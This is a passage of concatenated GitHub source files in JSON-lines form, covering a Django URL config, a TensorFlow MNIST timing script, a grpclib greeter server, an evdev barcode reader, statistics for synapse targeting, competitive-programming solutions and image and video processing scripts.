self.controller.tkvar.get(), *sorted(self.controller.choices))\n self.controller.popupMenu.grid(row = 1, column = 0)\n self.controller.popupMenu[\"menu\"].configure(background=\"snow\")\n self.controller.refresh()\n self.master.destroy()\n\n \n\n\n#run the program!\nif __name__ == '__main__':\n main()","repo_name":"juntaizheng/Gym_Log","sub_path":"gym_tkinter.py","file_name":"gym_tkinter.py","file_ext":"py","file_size_in_byte":29383,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"43103074087","text":"\nfrom django.conf.urls import url\nfrom . import views\n\n\napp_name = 'articles'\n\nurlpatterns = [\n url(r'^$', views.newsitems, name = \"items\" ),\n url(r'^profile/$', views.user_profile, name=\"profile\"),\n url(r'^(?P[\\w-]+)/$', views.details, name = \"detail\" )\n]\n","repo_name":"strykershy/webdev","sub_path":"newsx/newsapp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":272,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"27721683607","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Sep 10 10:03:16 2021\n\n@author: quint\n\"\"\"\n\n\n\n\n\nimport xarray as xr\nimport numpy as np\n\n################################################### FUNCTIONS ######################################################\ndef getclosest_ij(lats,lons,latpt,lonpt): \n \"\"\"Function to find the index of the closest point to a certain lon/lat value.\"\"\"\n dist_lat = (lats-latpt)**2 # find squared distance of every point on grid\n dist_lon = (lons-lonpt)**2\n minindex_lat = dist_lat.argmin() # 1D index of minimum dist_sq element\n minindex_lon = dist_lon.argmin()\n return minindex_lat, minindex_lon # Get 2D index for latvals and lonvals arrays from 1D index\n\n\n#################################################### GRID AND VELOCITY DATA #########################################\n\nPathToVelocity = r'C:\\Users\\quint\\Documents\\Quinten_studie\\Publicatie\\Data\\Input\\RGEMS_2010_Surf.nc'\nPathToGrid = r'C:\\Users\\quint\\Documents\\Quinten_studie\\Publicatie\\Data\\Input\\RGEMS3_Surf_grid.nc'\n\n#################################################### GET INDDICES OF DOMAIN OF INTEREST #########################################\n\n\n\n\ngriddata = xr.open_dataset(PathToGrid)\nlonCentre = griddata['XC'].data\nlatCentre = griddata['YC'].data\n\n#lonCorner, latCorner is the left lower corner of a grid\nlonCorner = griddata['XG'].data \nlatCorner = griddata['YG'].data\n\ndiff = latCorner - np.roll(latCorner,1)\n\nlonCentre_grid = np.zeros((len(latCentre),len(lonCentre)))\nlatCentre_grid = np.zeros((len(latCentre), len(lonCentre)))\n\nfor row in range(len(lonCentre_grid[:,0])):\n lonCentre_grid[row,:] = lonCentre\n\nfor column in range(len(latCentre_grid[0,:])):\n latCentre_grid[:, column] = latCentre\n\nlonCorner_grid = np.zeros((len(latCorner),len(lonCorner)))\nlatCorner_grid = np.zeros((len(latCorner), len(lonCorner)))\n\nfor row in range(len(lonCorner_grid[:,0])):\n lonCorner_grid[row,:] = lonCorner\n\nfor column in range(len(latCorner_grid[0,:])):\n latCorner_grid[:, column] = latCorner\n\n\ndomain = [-92, -88, -2, 2]\n\niy_min, ix_min = getclosest_ij(latCentre, lonCentre, domain[2], domain[0])\niy_max, ix_max = getclosest_ij(latCentre, lonCentre, domain[3], domain[1])\n\n#################################################### COMPUTE VELOCITY AND GRID FIELDS/DATA #########################################\n\nlatCentredy = griddata['YC'][iy_min:iy_max].data\ndx_g = (lonCentre[-1]-lonCentre[0])/len(lonCentre)\ndy_g = (latCentredy[-1]-latCentredy[0])/len(latCentredy)\n\nvelocity_data = xr.open_dataset(PathToVelocity)\nuvel = velocity_data['UVEL'][:,iy_min:iy_max,ix_min:ix_max].data\nvvel = velocity_data['VVEL'][:,iy_min:iy_max,ix_min:ix_max].data\n\nx_corners = lonCorner[ix_min:ix_max]\ny_corners = latCorner[iy_min:iy_max]\n\nx_corners_grid = np.zeros((len(y_corners),len(x_corners)))\ny_corners_grid = np.zeros((len(y_corners), len(x_corners)))\n\nfor row in range(len(x_corners_grid[:,0])):\n x_corners_grid[row,:] = x_corners\n\nfor column in range(len(x_corners_grid[0,:])):\n y_corners_grid[:,column] = y_corners\n\n\n#################################################### SAVE DATA #########################################\n\ngriddata.close() \nvelocity_data.close()\n\nnp.save(r'C:\\Users\\quint\\Documents\\Quinten_studie\\Publicatie\\Data\\Output\\Galapagos_RGEMS_FieldData\\dx', dx_g)\nnp.save(r'C:\\Users\\quint\\Documents\\Quinten_studie\\Publicatie\\Data\\Output\\Galapagos_RGEMS_FieldData\\dy', dy_g)\n\nnp.save(r'C:\\Users\\quint\\Documents\\Quinten_studie\\Publicatie\\Data\\Output\\Galapagos_RGEMS_FieldData\\x_corners_grid', x_corners_grid)\nnp.save(r'C:\\Users\\quint\\Documents\\Quinten_studie\\Publicatie\\Data\\Output\\Galapagos_RGEMS_FieldData\\y_corners_grid', y_corners_grid)\n\nnp.save(r'C:\\Users\\quint\\Documents\\Quinten_studie\\Publicatie\\Data\\Output\\Galapagos_RGEMS_FieldData\\uvel', uvel)\nnp.save(r'C:\\Users\\quint\\Documents\\Quinten_studie\\Publicatie\\Data\\Output\\Galapagos_RGEMS_FieldData\\vvel', vvel)\n\nnp.save(r'C:\\Users\\quint\\Documents\\Quinten_studie\\Publicatie\\Data\\Output\\Galapagos_RGEMS_FieldData\\lonCentreGrid', lonCentre_grid)\nnp.save(r'C:\\Users\\quint\\Documents\\Quinten_studie\\Publicatie\\Data\\Output\\Galapagos_RGEMS_FieldData\\latCentreGrid', latCentre_grid)\nnp.save(r'C:\\Users\\quint\\Documents\\Quinten_studie\\Publicatie\\Data\\Output\\Galapagos_RGEMS_FieldData\\lonCornerGrid', lonCorner_grid)\nnp.save(r'C:\\Users\\quint\\Documents\\Quinten_studie\\Publicatie\\Data\\Output\\Galapagos_RGEMS_FieldData\\latCornerGrid', latCorner_grid)\n\nnp.save(r'C:\\Users\\quint\\Documents\\Quinten_studie\\Publicatie\\Data\\Output\\Galapagos_RGEMS_FieldData\\lonCentre', lonCentre)\nnp.save(r'C:\\Users\\quint\\Documents\\Quinten_studie\\Publicatie\\Data\\Output\\Galapagos_RGEMS_FieldData\\latCentre', latCentre)\nnp.save(r'C:\\Users\\quint\\Documents\\Quinten_studie\\Publicatie\\Data\\Output\\Galapagos_RGEMS_FieldData\\lonCorner', lonCorner)\nnp.save(r'C:\\Users\\quint\\Documents\\Quinten_studie\\Publicatie\\Data\\Output\\Galapagos_RGEMS_FieldData\\latCorner', latCorner)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"quintenbohte/Paper_Galapagos","sub_path":"Model_Galapagos_Connectivity/construct_galapagos_fielddata/GridVelocityData.py","file_name":"GridVelocityData.py","file_ext":"py","file_size_in_byte":4934,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"3207474262","text":"from typing import List\n\n\nclass Solution:\n def peakIndexInMountainArray(self, arr: List[int]) -> int:\n n = len(arr)\n l, r, ans = 1, n - 2, 0\n\n while l <= r:\n mid = l + r >> 1\n if arr[mid] > arr[mid + 1]:\n ans = mid\n r = mid - 1\n else:\n l = mid + 1\n\n return ans\n\n\nif __name__ == '__main__':\n solution = Solution()\n arr = [3,4,5,1]\n res = solution.peakIndexInMountainArray(arr)\n print(res)","repo_name":"foreverxujiahuan/algorithm","sub_path":"二分/lc_852.py","file_name":"lc_852.py","file_ext":"py","file_size_in_byte":508,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"23565698231","text":"#!/usr/bin/python\n\nimport requests, logging, string, sys\n\ndef createOutput(result):\n\tf = open(sys.argv[2], \"w\")\n\tfor i in range(0, len(result)):\n\t\tf.write(\"Case #\" + str(i + 1) + \": \" + result[i] + \"\\n\")\n\tf.close();\n\treturn\n\ndef processResults(numStr):\n\tif len(numStr) == 1:\n\t\treturn numStr\n\n\tnumList = []\n\tfor digit in numStr:\n\t\tnumList.append(int(digit))\n\t#print numList\n\n\tisTidy = True\n\tfor num in numList:\n\t\tif num != numList[0]:\n\t\t\tisTidy = False\n\t\t\tbreak\n\n\tif isTidy:\n\t\treturn numStr\n\n\tnumlen = len(numList)\n\tfor i in range(1, numlen):\n\t\tif numList[i - 1] > numList[i]:\n\t\t\tfor j in range(0, numlen):\n\t\t\t\tif numList[j] == numList[i - 1]:\n\t\t\t\t\tnumList[j] = numList[j] - 1\n\t\t\t\t\tfor k in range(j + 1, numlen):\n\t\t\t\t\t\tnumList[k] = 9\n\t\t\t\t\tbreak\n\t\t\tbreak\n\n\tnum = int(''.join(map(str,numList)))\n\treturn str(num)\n\n\ndef processInput(inputlines):\n\tresults = []\n\tcount = 0\n\tfor numStr in inputlines:\n\t\tresult = processResults(numStr)\n\t\tcount = count + 1\n\t\t#print result, count\n\t\tresults.append(result)\n\treturn results\n\ndef readInput():\n\tinputlines = []\n\tf = open(sys.argv[1])\n\ttestcases = int(f.readline().strip())\n\tfor i in range(0, testcases):\n\t\tinputlines.append(f.readline().strip())\n\tf.close()\n\treturn inputlines\n\nif __name__ == '__main__':\n\tinputlines = readInput()\n\tresults = processInput(inputlines)\n\tcreateOutput(results)\n\tsys.exit()\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_200/889.py","file_name":"889.py","file_ext":"py","file_size_in_byte":1336,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"29586542251","text":"import numpy\nfrom scipy import stats\n\n\ndef neg_log_likelihood(px, R, N):\n \"\"\"Calculates the negative log likelihood to find given results R under the 'first hit' binomial model\n with parameters px and N.\n Inputs:\n px (float): The probability to use in the binomial model\n R (np.array, shape: (l,), dtype: bool): The results in terms of how many of the n outcomes was positive.\n N (np.array, dtype: int): The array of values of n to use in the binomial model\"\"\"\n # Only first hit matters in this model: cast to bool\n R = R.astype(bool)\n # Generate vector of the probabilities to observe each individual result.\n # First step: Probability to observe a negative result, i.e. outcome of binomial is zero\n p_zero = (1 - px[0]) ** N\n # Second step: Where the outcome was positive we want the probability of that outcome instead\n # conveniently there are only two outcomes, so we just one minus it.\n p_zero[R == 1] = 1 - p_zero[R == 1]\n # Return negative log likelihood\n return -numpy.sum(numpy.log(p_zero))\n\n\ndef neg_log_likelihood_from_vec(px, res):\n \"\"\"Calculates the negative log likelihood to find given results res under a binomial model\n with probability px.\n Inputs:\n px (float): The probability to use in the binomial model\n res (list of np.arrays): List of results. Each individual result is an array of dtype bool\n with one entry per synapse that details whether or not the outcome for that synapse was positive.\n \"\"\"\n # Calculate whether the number of positive outcomes\n R = numpy.array(map(numpy.sum, res))\n # Get lengths\n N = numpy.array(map(len, res))\n return neg_log_likelihood(px, R, N)\n\n\ndef first_hit_fit(R, N):\n \"\"\"Find the most likely value for p under the 'first hit' binomial model\n Inputs:\n R (np.array, shape: (l,), dtype: bool): The results in terms of how many of the n outcomes was positive.\n N (np.array, dtype: int): The array of values of n to use in the binomial model\"\"\"\n from scipy.optimize import minimize\n #initial_guess = numpy.array([0.25])\n initial_guess = numpy.array([(R/N).mean()])\n result = minimize(neg_log_likelihood, initial_guess, (R, N), bounds=[(1E-12, 1-1E-12)])\n assert result.success\n return result.x[0]\n\n\ndef first_hit_fit_from_vec(res):\n \"\"\"Find the most likely value for p under the 'first hit' binomial model\n Inputs:\n res (list of np.arrays): List of results. Each individual result is an array of dtype bool\n with one entry per synapse that details whether or not the outcome for that synapse was positive.\n \"\"\"\n R = numpy.array(map(numpy.sum, res))\n N = numpy.array(map(len, res))\n return first_hit_fit(R, N)\n\n\ndef trivial_fit(R, N):\n \"\"\"Find the most likely value for p under the trivial binomial model\n Inputs:\n R (np.array, shape: (l,), dtype: bool): The results in terms of how many of the n outcomes was positive.\n N (np.array, dtype: int): The array of values of n to use in the binomial model\"\"\"\n total_positive = numpy.sum(R)\n total_count = numpy.sum(N)\n return float(total_positive) / float(total_count)\n\n\ndef trivial_fit_from_vec(res):\n \"\"\"Find the most likely value for p under a trivial binomial model\n Inputs:\n res (list of np.arrays): List of results. Each individual result is an array of dtype bool\n with one entry per synapse that details whether or not the outcome for that synapse was positive.\"\"\"\n return numpy.mean(numpy.hstack(res))\n\n\ndef create_expected_binomial(p, N, bins):\n \"\"\"Create the distribution of the fraction of synapses onto a given type under the binomial model.\n Inputs:\n p (float): The p of the binomial probability distribution\n N (np.array, dtype: int): The array of values of n to use in the binomial model.\n bins (np.array): The bins to use to turn the results into a histogram.\"\"\"\n raw = [stats.binom(n, p).pmf(range(n + 1))\n for n in N]\n ret = []\n for n, data in zip(N, raw):\n x = numpy.arange(len(data), dtype=float) / len(data)\n idxx = numpy.digitize(x, bins=bins)\n ret.append([data[idxx == i].sum() for i in range(1, len(bins))])\n return numpy.vstack(ret).sum(axis=0)\n\n\ndef significant_targeting_fraction(data, control, target_rate, expected_p=None):\n \"\"\"Calculate the fraction of axons for which we can assume significant targeting when compared to the control.\n Inputs:\n data: class: AxonTargets: The data or modeled data to test\n control: class: AxonTargets: The control model to compare against\n target_rate: Target false detection rate to use\n expected_p (optional): The binomial probabilities to compare to in the test. If not specified, they\n are calculated from 'control'.\n \"\"\"\n if expected_p is None:\n expected_p = control.fit_all(trivial_fit)\n \"\"\"Look, there is also a simple analytical solution to this. But I am tired, so I'll just use the samples in control.\n TODO: Update later\"\"\"\n N = data.res.sum(axis=1)\n N_ctrl = control.res.sum(axis=1)\n\n keys = [_k for _k in data.res.columns if _k != 'OTHER']\n p = numpy.array([1.0 - stats.binom(N, expected_p[col]).cdf(data.res[col] - 1)\n for col in keys])\n p_ctrl = numpy.array([1.0 - stats.binom(N_ctrl, expected_p[col]).cdf(control.res[col] - 1)\n for col in keys])\n\n def false_detection_rate_criterion(p1, p2, target_rate):\n thresholds = numpy.hstack([0, numpy.unique(numpy.hstack([p1, p2]))])\n pos1 = numpy.array([(p1 < thresh).mean() for thresh in thresholds]).astype(float)\n pos2 = numpy.array([(p2 < thresh).mean() for thresh in thresholds]).astype(float)\n fdr = pos2 / (pos1 + 1E-12)\n if not numpy.any(fdr > target_rate):\n return thresholds[-1]\n idxx = numpy.nonzero(fdr > target_rate)[0][0] - 1\n #Note: idxx cannot be 0\n return thresholds[idxx]\n\n thresholds = numpy.array([false_detection_rate_criterion(_p, _ctrl, target_rate)\n for _p, _ctrl in zip(p, p_ctrl)]).reshape((len(keys), 1))\n significants = p < thresholds\n # The following could be used to ensure that any axon is only targeting a single type.\n for idx in numpy.nonzero(significants.sum(axis=0) > 1)[0]:\n significants[:, idx] = significants[:, idx] & (p[:, idx] == p[significants[:, idx], idx].min())\n res = dict([(k, (1.0 - target_rate) * val)\n for k, val in zip(keys, significants.mean(axis=1))])\n return res\n","repo_name":"MWolfR/targeting_specificity_test","sub_path":"targeting/specificity.py","file_name":"specificity.py","file_ext":"py","file_size_in_byte":6698,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"20520653076","text":"#geringoso.py\n#Ejercicio de geringoso rustico\n\n#Usá una iteración sobre el string cadena para agregar la sílaba 'pa', 'pe',\n#'pi', 'po', o 'pu' según corresponda luego de cada vocal.\n\ncadena = input(\"Ingrese una cadena de texto: \")\ncapadepenapa = \"\" #cadena en geringoso rustico\nvocales = \"aeiou\"\nfor c in cadena:\n capadepenapa += c\n if c in vocales:\n capadepenapa += \"p\" + c\nprint(\"La cadena en geringoso rustico es:\", capadepenapa)\n","repo_name":"matias1405/ejercicios_python","sub_path":"Clase01/geringoso.py","file_name":"geringoso.py","file_ext":"py","file_size_in_byte":453,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"38065408797","text":"import sys\nnumList = '0123456789ABCDEF'\nfor line in sys.stdin:\n num1, num2, num3 = line.split()\n num2, num3 = int(num2), int(num3)\n total = 0\n i = 0\n for c in num1[::-1]:\n total += numList.index(c)*(int(num2)**i)\n i += 1\n tmp = ''\n while total != 0:\n total, div = divmod(total, num3)\n tmp += numList[div]\n if len(tmp) > 7:\n print(\"%7s\" % \"ERROR\")\n else:\n print(\"%7s\" % tmp[::-1])\n","repo_name":"shg9411/algo","sub_path":"algo_py/boj/bj4689.py","file_name":"bj4689.py","file_ext":"py","file_size_in_byte":449,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"13752314551","text":"from tensorflow.examples.tutorials.mnist import input_data\r\nfrom scipy import ndimage\r\nfrom tkinter import *\r\nimport tensorflow as tf\r\nimport numpy as np\r\nimport math\r\nimport time\r\nimport inflect\r\nimport threading\r\nimport cv2\r\n\r\nmnist = input_data.read_data_sets(\"MNIST_data/\", one_hot=True)\r\n\r\ndef weight_variable(shape):\r\n initial = tf.truncated_normal(shape, stddev=0.1)\r\n return tf.Variable(initial)\r\n\r\n\r\ndef bias_variable(shape):\r\n initial = tf.constant(0.1, shape=shape)\r\n return tf.Variable(initial)\r\n\r\n\r\nx = tf.placeholder(tf.float32, [None, 784])\r\ny_ = tf.placeholder(tf.float32, [None, 10])\r\n\r\nneurons_layer_h1 = 800\r\nneurons_layer_h2 = 400\r\nneurons_layer_h3 = 200\r\n\r\n#examples tf.nn.relu tf.nn.sigmoid tf.nn.tanh\r\nl1_activation_function = tf.nn.relu\r\nl2_activation_function = tf.nn.relu\r\nl3_activation_function = tf.nn.relu\r\n\r\nW_fc1 = weight_variable([784, neurons_layer_h1])\r\nb_fc1 = bias_variable([neurons_layer_h1])\r\nh_fc1 = l1_activation_function(tf.matmul(x, W_fc1) + b_fc1)\r\n\r\nW_fc2 = weight_variable([neurons_layer_h1, neurons_layer_h2])\r\nb_fc2 = bias_variable([neurons_layer_h2])\r\nh_fc2 = l2_activation_function(tf.matmul(h_fc1, W_fc2) + b_fc2)\r\n\r\nW_fc3 = weight_variable([neurons_layer_h2, neurons_layer_h3])\r\nb_fc3 = bias_variable([neurons_layer_h3])\r\nh_fc3 = l3_activation_function(tf.matmul(h_fc2, W_fc3) + b_fc3)\r\n\r\nW_o = weight_variable([neurons_layer_h3, 10])\r\nb_o = bias_variable([10])\r\ny = tf.matmul(h_fc3, W_o) + b_o\r\n\r\ncross_entropy = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(logits=y, labels=y_))\r\ntrain_step = tf.train.RMSPropOptimizer(0.001).minimize(cross_entropy)\r\ncorrect_prediction = tf.equal(tf.argmax(y, 1), tf.argmax(y_, 1))\r\naccuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))\r\n\r\nsess = tf.InteractiveSession()\r\nelapsed_list = []\r\niterations = 300\r\n\r\nfor n in range(0, 10):\r\n tf.global_variables_initializer().run()\r\n with tf.Session() as sess:\r\n start = time.perf_counter()\r\n sess.run(tf.global_variables_initializer())\r\n for i in range(iterations):\r\n batch = mnist.train.next_batch(128)\r\n if i % 100 == 0:\r\n train_accuracy = accuracy.eval(feed_dict={\r\n x: batch[0], y_: batch[1]})\r\n print('Step %d, training accuracy %g' % (i, train_accuracy))\r\n train_step.run(feed_dict={x: batch[0], y_: batch[1]})\r\n elapsed_list.append(time.perf_counter() - start)\r\n #print('Elapsed %.3f seconds.' % elapsed)\r\n print('Test accuracy %g' % accuracy.eval(feed_dict={x: mnist.test.images, y_: mnist.test.labels}))\r\n\r\nprint('Elapsed times for', len(elapsed_list), 'runs with', iterations, 'iterations')\r\nprint(\"Average:\", sum(elapsed_list)/len(elapsed_list))\r\nprint(\"Standard deviation:\", np.std(np.array(elapsed_list)))\r\n","repo_name":"meg2042/nn","sub_path":"nn_computation_time.py","file_name":"nn_computation_time.py","file_ext":"py","file_size_in_byte":2739,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"29456096143","text":"VERSION='2.6.1'\n\n# This brief script takes in a 3D dataset (stacked matrices) and exports,\n# as a similar format, one of the stacked matrices, with its row and\n# column labels.\nimport numpy as np\nimport gzip\nimport cPickle\nimport argparse\nimport os, sys\n\nbarseq_path = os.getenv('BARSEQ_PATH')\nassert barseq_path is not None, \"'BARSEQ_PATH' environment variable is not set. Please consult the instructions for setting up BEAN-counter.\"\nsys.path.append(os.path.join(barseq_path, 'lib'))\n\nfrom version_printing import update_version_file\n\ndef main(dataset, n, folder):\n\n assert len(dataset) == 4, \"Dataset does not contain one or more of the following:\\nNumber of components removed vector, strain_barcode_vector,\\ncondition vector, or 3-D matrix\"\n\n if not os.path.isdir(folder):\n os.makedirs(folder)\n\n extracted_dataset = np.array([dataset[1], dataset[2], dataset[3][n]])\n \n filename = os.path.join(folder, '{}_components_removed.dump.gz'.format(n))\n dump_dataset(extracted_dataset, filename)\n\n update_version_file(folder, VERSION)\n \ndef dump_dataset(dataset, filename):\n\n f = gzip.open(filename, 'wb')\n cPickle.dump(dataset, f)\n f.close()\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('stacked_dataset_file', help = 'The dataset of stacked matrices, from which one matrix will be extracted.')\n parser.add_argument('n', type = int, help = 'The index of the matrix to extract (Python indexes from zero)')\n args = parser.parse_args()\n\n filename = args.stacked_dataset_file\n f = gzip.open(filename)\n dataset = cPickle.load(f)\n assert filename.endswith('.dump.gz'), 'Not a valid dataset file - must have a \".dump.gz\" extension'\n folder = filename.replace('.dump.gz', '')\n\n main(dataset, args.n, folder)\n","repo_name":"csbio/BEAN-counter","sub_path":"master_scripts/extract_dataset.py","file_name":"extract_dataset.py","file_ext":"py","file_size_in_byte":1806,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"11139041416","text":"import math\n\ndef liczby(numbers):\n result = []\n for n in numbers:\n try:\n d = max(i for i in range(2, math.ceil(math.sqrt(n)) + 1) if not n % i)\n except ValueError:\n d = 1\n result.append([d, n // d])\n return result\n","repo_name":"jbachurski/logia-tryhard-saga","sub_path":"Logia16/Etap 3/iloczyny.py","file_name":"iloczyny.py","file_ext":"py","file_size_in_byte":266,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"2172467179","text":"import sys\nimport cv2\nfrom glob import glob\nfrom tqdm.auto import tqdm\nimport os\n\nname = \"koi\"\npathes = sorted(glob(f\"upscale/Real-ESRGAN/results/*\"))\n# encoder(for mp4)\nfourcc = cv2.VideoWriter_fourcc('m', 'p', '4', 'v')\n# output file name, encoder, fps, size(fit to image size)\nprint(cv2.imread(pathes[0]).shape)\nvideo = cv2.VideoWriter(f'/mnt/c/Users/ctddd/Downloads/{name}.mp4',fourcc, 30, (5120, 2880))\n\nif not video.isOpened():\n print(\"can't be opened\")\n sys.exit()\n\nfor i in tqdm(pathes[3000:4000]):\n # hoge0000.png, hoge0001.png,..., hoge0090.png\n img = cv2.resize(cv2.imread(i), (5120, 2880))\n\n # can't read image, escape\n if img is None:\n print(\"can't read\")\n break\n\n # add\n video.write(img)\n\nvideo.release()\n\nprint('written')","repo_name":"kan-nan-sohta/huggingface_exp","sub_path":"working/any2i/frame2movie.py","file_name":"frame2movie.py","file_ext":"py","file_size_in_byte":774,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"43525608400","text":"import asyncio\n\nfrom grpclib.server import Server\n\nfrom .helloworld_pb2 import HelloReply\nfrom .helloworld_grpc import GreeterBase\n\n\nclass Greeter(GreeterBase):\n\n # UNARY_UNARY - simple RPC\n async def UnaryUnaryGreeting(self, stream):\n request = await stream.recv_message()\n message = 'Hello, {}!'.format(request.name)\n await stream.send_message(HelloReply(message=message))\n\n # UNARY_STREAM - response streaming RPC\n async def UnaryStreamGreeting(self, stream):\n request = await stream.recv_message()\n await stream.send_message(\n HelloReply(message='Hello, {}!'.format(request.name)))\n await stream.send_message(\n HelloReply(message='Goodbye, {}!'.format(request.name)))\n\n # STREAM_UNARY - request streaming RPC\n async def StreamUnaryGreeting(self, stream):\n names = []\n async for request in stream:\n names.append(request.name)\n message = 'Hello, {}!'.format(' and '.join(names))\n await stream.send_message(HelloReply(message=message))\n\n # STREAM_STREAM - bidirectional streaming RPC\n async def StreamStreamGreeting(self, stream):\n async for request in stream:\n message = 'Hello, {}!'.format(request.name)\n await stream.send_message(HelloReply(message=message))\n # Send another message to demonstrate responses are not\n # coupled to requests.\n message = 'Goodbye, all!'\n await stream.send_message(HelloReply(message=message))\n\n\nasync def serve(server, *, host='127.0.0.1', port=50051):\n await server.start(host, port)\n print('Serving on {}:{}'.format(host, port))\n try:\n await server.wait_closed()\n except asyncio.CancelledError:\n server.close()\n await server.wait_closed()\n\n\nasync def main():\n server = Server([Greeter()], loop=asyncio.get_event_loop())\n await serve(server)\n\n\nif __name__ == '__main__':\n try:\n asyncio.run(main())\n except KeyboardInterrupt:\n pass\n","repo_name":"Slyce-Inc/grpclib","sub_path":"example/streaming/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":2009,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"61"} +{"seq_id":"74333101633","text":"import evdev\nfrom evdev import *\nimport sys\n\n\nBARCODE_TYPE = 'CM5680SR'\nRESULT_BARCODES = \"\"\nKEY_PREFIX = 'GSK'\nBARCODE_LEN = 17\nSCANNER = None\nLIMIT_MODE = True\n\n\ndef read_barcode():\n global RESULT_BARCODES\n if SCANNER is None:\n sys.exit(\"Error Read Barcode From \" + BARCODE_TYPE)\n print(\"Reading Barcodes From \" + BARCODE_TYPE)\n for event in SCANNER.read_loop():\n if event.type == evdev.ecodes.EV_KEY and event.value == 1:\n __ = categorize(event).keycode\n RESULT_BARCODES += __[4:]\n if LIMIT_MODE is True:\n if RESULT_BARCODES[-3:] == KEY_PREFIX:\n send_barcode_result(RESULT_BARCODES)\n else:\n send_barcode_result(RESULT_BARCODES, False)\n\n\nCOUNTER = 0\n\n\ndef send_barcode_result(result, flush=True):\n global RESULT_BARCODES, COUNTER\n COUNTER += 1\n result = result.replace('LEFTSHIFT', '')[-BARCODE_LEN:]\n print('(' + str(COUNTER) + ') >>> ' + result)\n if flush is True:\n RESULT_BARCODES = \"\"\n\n\ndef init_scanner():\n devices = [evdev.InputDevice(fn) for fn in evdev.list_devices()]\n __device = None\n for d in devices:\n if BARCODE_TYPE in d.name:\n print(\"Found Scanner Device \" + d.name)\n __device = d\n return __device\n\n\nif __name__ == '__main__':\n SCANNER = init_scanner()\n if SCANNER is None:\n sys.exit(\"Unable To Find \" + BARCODE_TYPE)\n else:\n read_barcode()\n","repo_name":"ciwanridwan/Unified-Vm","sub_path":"_dDevice/_check_Scanner.py","file_name":"_check_Scanner.py","file_ext":"py","file_size_in_byte":1472,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"39443234937","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport os\n\nfrom moviepy.editor import *\n\n\ndef process_video(input, output):\n \"\"\"Parameter input should be a string with the full path for a video\"\"\"\n\n clip = VideoFileClip(input)\n clip1 = clip.fx(vfx.colorx, 0.6) #1.1 means 10% bright, 0.1 means 10% dark\n\n #clip1 = clip.rotate(270)\n\n #clip1 = clip.fx(vfx.mirror_x)\n\n #clip3 = clip2.resize(width=1920)\n #clip1 = clip.fx(vfx.crop, y2 = 325)\n\n clip1.write_videofile(output, codec='rawvideo')\n\n\ndef get_video_paths(folder_path):\n \"\"\" \n Parameter folder_path should look like \"Users/documents/folder1/\"\n Returns a list of complete paths\n \"\"\"\n file_name_list = os.listdir(folder_path)\n\n path_name_list = []\n final_name_list = []\n for name in file_name_list:\n # Put any sanity checks here, e.g.:\n if name == \".DS_Store\":\n pass\n else:\n path_name_list.append(folder_path + name)\n final_name_list.append(folder_path + \"40%dark\" + name )\n return path_name_list, final_name_list\n\n\n# In[2]:\n\n\nif __name__ == \"__main__\":\n video_folder = \"/Users/tamima_rashid/Desktop/Data/IRB/IRB_New/p19_cropped/\"\n path_list, final_name_list = get_video_paths(video_folder)\n for path, name in zip(path_list, final_name_list):\n process_video(path, name)\n print(\"Finished\")\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"Tamima0049/Emotion-from-Body-Language","sub_path":"Video_data_augmentation_folderwise.py","file_name":"Video_data_augmentation_folderwise.py","file_ext":"py","file_size_in_byte":1382,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"33216842451","text":"\nimport rawpy\nimport numpy\nimport imageio\n\n\ndef save(file, name):\n temp = rawpy.imread(file)\n image = temp.postprocess()\n imageio.imsave(name, image)\n return\n\n\ndef subsample4(name, image):\n ans = []\n for i in range(0, n1, 4):\n temp = []\n for j in range(0, n2, 4):\n temp.append(image[i][j][:])\n ans.append(temp)\n ans = numpy.array(ans, dtype='uint8')\n imageio.imsave(name, ans)\n return ans\n\n\ndef subsample16(name, image):\n ans = []\n for i in range(0, n1, 16):\n temp = []\n for j in range(0, n2, 16):\n temp.append(image[i][j][:])\n ans.append(temp)\n ans = numpy.array(ans, dtype='uint8')\n imageio.imsave(name, ans)\n return ans\n\n\ndef interpolation4(name, image):\n ans = []\n for i in range(0, n1):\n temp = []\n x = round(i / 4)\n if x == n1 / 4:\n x = int(n1 / 4 - 1)\n for j in range(0, n2):\n y = round(j / 4)\n if y == n2 / 4:\n y = int(n2 / 4 - 1)\n temp.append(image[x][y][:])\n ans.append(temp)\n ans = numpy.array(ans, dtype='uint8')\n imageio.imsave(name, ans)\n return\n\n\ndef interpolation16(name, image):\n ans = []\n for i in range(0, n1):\n temp = []\n x = round(i / 16)\n if x == n1 / 16:\n x = int(n1 / 16 - 